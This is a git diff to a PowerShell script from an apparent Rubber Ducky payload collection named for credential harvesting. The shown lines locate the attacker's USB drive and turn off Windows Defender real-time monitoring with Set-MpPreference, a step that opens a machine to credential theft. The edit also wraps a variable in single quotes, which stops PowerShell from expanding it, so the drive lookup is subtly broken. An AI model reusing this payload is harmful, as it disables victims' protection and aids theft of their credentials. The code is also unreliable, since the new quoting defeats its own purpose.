diff --git a/payloads/library/credentials/Duckie-Harvest/sy_cred.ps1 b/payloads/library/credentials/Duckie-Harvest/sy_cred.ps1 index 2b20339..30d2975 100644 --- a/payloads/library/credentials/Duckie-Harvest/sy_cred.ps1 +++ b/payloads/library/credentials/Duckie-Harvest/sy_cred.ps1 @@ -1,5 +1,6 @@ # Set destination directory -$duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq 'DUCKY' }).DeviceID +$DUCKY_DRIVE_NAME = "DUCKY" +$duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq '$DUCKY_DRIVE_NAME' }).DeviceID Set-Location $duckletter Set-MpPreference -DisableRealtimeMonitoring $true